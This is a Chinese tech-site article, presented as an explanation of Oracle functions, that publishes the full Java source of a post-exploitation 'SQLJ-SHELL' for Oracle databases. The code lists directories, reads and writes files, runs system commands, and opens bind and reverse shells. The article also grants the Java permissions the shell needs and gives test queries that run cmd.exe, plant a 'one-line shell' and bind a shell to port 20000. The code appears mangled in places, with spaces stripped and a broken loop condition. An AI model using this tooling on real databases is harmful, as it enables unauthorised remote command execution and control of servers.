事例解析Oracle函数
创始人
2024-06-12 02:41:31
0

在向大家详细介绍Oracle函数之前,首先让大家了解下Oracle数据库建立JAVA对象,然后全面介绍Oracle函数,希望对大家有用。首先在Oracle数据库建立JAVA对象, 这个版本的SQLJ-SHELL 只能支持正向连接,反向连接的时候有BUG 不建议使用,不知道是ORA支持JAVA的问题还是个人能力有限:

  1. createorreplaceandcompilejavasourcenamedistoas  
  2. importjava.io.*;  
  3. importjava.net.*;  
  4. publicclassISTO{  
  5. //author:kj021320  
  6. //team:I.S.T.O  
  7. publicstaticStringlistFolder(Stringpath){  
  8. Filef=null;  
  9. Stringstr="";  
  10. f=newFile(path);  
  11. String[]ffiles=f.list();  
  12. if(files!=null)  
  13. for(inti=0;i;i++){  
  14. str+=files[i]+"\r\n";  
  15. }  
  16. returnstr;  
  17. }  
  18. publicstaticStringsaveFile(Stringfilepath,Stringvalue){  
  19. FileOutputStreamfos=null;  
  20. try{  
  21. fos=newFileOutputStream(filepath);  
  22. fos.write(value.getBytes());  
  23. return"OK";  
  24. }catch(Exceptione){  
  25. returne.getMessage();  
  26. }finally{  
  27. if(fos!=null){  
  28. try{fos.close();}catch(Exceptione){}  
  29. }  
  30. }  
  31. }  
  32. publicstaticStringreadFile(Stringpathfile,Stringcode){  
  33. BufferedReaderbr=null;  
  34. Stringvalue="";  
  35. try{  
  36. br=newBufferedReader(newInputStreamReader(newFileInputStream(pathfile),code));  
  37. Strings=null;  
  38. while((s=br.readLine())!=null){  
  39. value+=s;  
  40. }  
  41. returnvalue;  
  42. }catch(Exceptione){  
  43. returne.getMessage();  
  44. }finally{  
  45. if(br!=null){try{br.close();}catch(IOExceptione){}}  
  46. }  
  47. }  
  48. publicstaticStringexecFile(Stringfilepath,Stringcode){  
  49. inti=0;  
  50. RuntimeRuntimert=Runtime.getRuntime();  
  51. Stringoutput="";  
  52. InputStreamReaderisr=null;  
  53. char[]bufferC=newchar[1024];  
  54. try{  
  55. Processps=rt.exec(filepath);  
  56. isr=newInputStreamReader(ps.getInputStream(),code);  
  57. while((i=isr.read(bufferC,0,bufferC.length))!=-1){  
  58. output+=newString(bufferC,0,i);  
  59. }  
  60. returnoutput;  
  61. }catch(Exceptione){  
  62. returne.getMessage();  
  63. }finally{  
  64. if(isr!=null)try{isr.close();}catch(IOExceptione){}  
  65. }  
  66. }  
  67. publicstaticStringbindShell(intport){  
  68. ServerSocketss=null;  
  69. Sockets=null;  
  70. try{  
  71. ss=newServerSocket(port);  
  72. s=ss.accept();  
  73. newoptShell(ss,s).start();  
  74.  
  75. return"OK";  
  76. }catch(Exceptione){  
  77. returne.getMessage();  
  78. }  
  79. }  
  80. publicstaticStringreverseShell(Stringhost,intport){  
  81. Sockets=null;  
  82. try{  
  83. s=newSocket(host,port);  
  84. newoptShell(null,s).start();  
  85. return"OK";  
  86. }catch(Exceptione){  
  87. returne.getMessage();  
  88. }  
  89. }  
  90. publicstaticclassoptShellextendsThread{  
  91. OutputStreamos=null;  
  92. InputStreamis=null;  
  93. ServerSocketss;  
  94. Sockets;  
  95. publicoptShell(ServerSocketss,Sockets){  
  96. this.ss=ss;  
  97. this.s=s;  
  98. try{  
  99. this.is=s.getInputStream();  
  100. this.os=s.getOutputStream();  
  101. }catch(Exceptione){  
  102. if(os!=null)try{os.close();}catch(Exceptionex){}  
  103. if(is!=null)try{is.close();}catch(Exceptionex){}  
  104. if(s!=null)try{s.close();}catch(Exceptionex){}  
  105. if(ss!=null)try{ss.close();}catch(Exceptionex){}  
  106. }  
  107. }  
  108. publicvoidrun(){  
  109. BufferedReaderbr=newBufferedReader(newInputStreamReader(is));  
  110. Stringline="";  
  111. Stringcmdhelp="Command:\r\nlist\r\nsave\r\nread\r\nexec\r\nexit\r\n";  
  112. try{  
  113. //os.write(cmdhelp.getBytes());  
  114. line=br.readLine();  
  115. while(!"exit".equals(line)){  
  116. if(line.length()>3){  
  117. StringBuffersb=newStringBuffer(line.trim());  
  118. Stringcmd=sb.substring(0,4);  
  119. if(cmd.equals("list")){  
  120. os.write("inputyoupath:\r\n".getBytes());  
  121. line=br.readLine();  
  122. os.write(listFolder(line).getBytes());  
  123. }elseif("save".equals(cmd)){  
  124. os.write("inputyoufilepath:\r\n".getBytes());  
  125. line=br.readLine();  
  126. os.write("inputyouvalue:\r\n".getBytes());  
  127. os.write(saveFile(line,br.readLine()).getBytes());  
  128. }elseif("read".equals(cmd)){  
  129. os.write("inputyoufilepath:\r\n".getBytes());  
  130. line=br.readLine();  
  131. os.write("inputyoucodeexamle:GBK\r\n".getBytes());  
  132. os.write(readFile(line,br.readLine()).getBytes());  
  133. }elseif("exec".equals(cmd)){  
  134. os.write("inputyourunfilepath:\r\n".getBytes());  
  135. line=br.readLine();  
  136. os.write("inputyoucodeexamle:GBK\r\n".getBytes());  
  137. os.write(execFile(line,br.readLine()).getBytes());  
  138. }else{  
  139. os.write(cmdhelp.getBytes());  
  140. }  
  141. }else{  
  142. os.write(cmdhelp.getBytes());  
  143. }  
  144. line=br.readLine();  
  145. }  
  146. }catch(Exceptione){  
  147. e.printStackTrace();  
  148. }finally{  
  149. if(os!=null)try{os.close();}catch(Exceptione){}  
  150. if(is!=null)try{is.close();}catch(Exceptione){}  
  151. if(s!=null)try{s.close();}catch(Exceptione){}  
  152. if(ss!=null)try{ss.close();}catch(Exceptione){}  
  153. }  
  154. }  
  155. }  

以上建立完成之后 需要用Oracle函数调用JAVA的静态方法:
◆列举目录函数
◆保存文件函数
◆读文件函数
◆运行文件函数
◆端口绑定 你可以telnet进去

以上Oracle函数转换操作之后 需要给JAVA授予访问权限

  1. begin  
  2. Dbms_Java.Grant_Permission('用户名字','java.io.FilePermission','< FILES>>','read,write,execute,delete');  
  3. Dbms_Java.Grant_Permission('用户名字','java.lang.RuntimePermission','*','writeFileDescriptor');  
  4. Dbms_Java.grant_permission('用户名字','java.net.SocketPermission','*:*','accept,connect,listen,resolve');  
  5. end; 

然后就可以进行文件操作以及 运行程序  开启网络!

以下为测试代码:

  1. SELECT ISTO_LISTFOLDER('/usr') FROM DUAL  
  2. SELECT ISTO_EXECFILE('C:\WINDOWS\system32\cmd.exe /c dir c:\','GBK') FROM DUAL;  
  3. SELECT ISTO_READFILE('/tmp/1.txt','GBK') FROM DUAL;  
  4. SELECT ISTO_SAVEFILE('/tmp/1.txt','一句话shell') FROM DUAL;  
  5. SELECT ISTO_BINDSHELL(20000) FROM DUAL 

【编辑推荐】

  1. 详谈Oracle对象特权说明
  2. Oracle系统特权部分介绍
  3. 最常见的Oracle密码验证
  4. 简单探讨Oracle介质恢复
  5. 完全干掉Oracle死锁进程

相关内容

热门资讯

如何允许远程连接到MySQL数... [[277004]]【51CTO.com快译】默认情况下,MySQL服务器仅侦听来自localhos...
如何利用交换机和端口设置来管理... 在网络管理中,总是有些人让管理员头疼。下面我们就将介绍一下一个网管员利用交换机以及端口设置等来进行D...
施耐德电气数据中心整体解决方案... 近日,全球能效管理专家施耐德电气正式启动大型体验活动“能效中国行——2012卡车巡展”,作为该活动的...
20个非常棒的扁平设计免费资源 Apple设备的平面图标PSD免费平板UI 平板UI套件24平图标Freen平板UI套件PSD径向平...
德国电信门户网站可实时显示全球... 德国电信周三推出一个门户网站,直观地实时提供其安装在全球各地的传感器网络检测到的网络攻击状况。该网站...
为啥国人偏爱 Mybatis,... 关于 SQL 和 ORM 的争论,永远都不会终止,我也一直在思考这个问题。昨天又跟群里的小伙伴进行...
《非诚勿扰》红人闫凤娇被曝厕所... 【51CTO.com 综合消息360安全专家提醒说,“闫凤娇”、“非诚勿扰”已经被黑客盯上成为了“木...
2012年第四季度互联网状况报... [[71653]]  北京时间4月25日消息,据国外媒体报道,全球知名的云平台公司Akamai Te...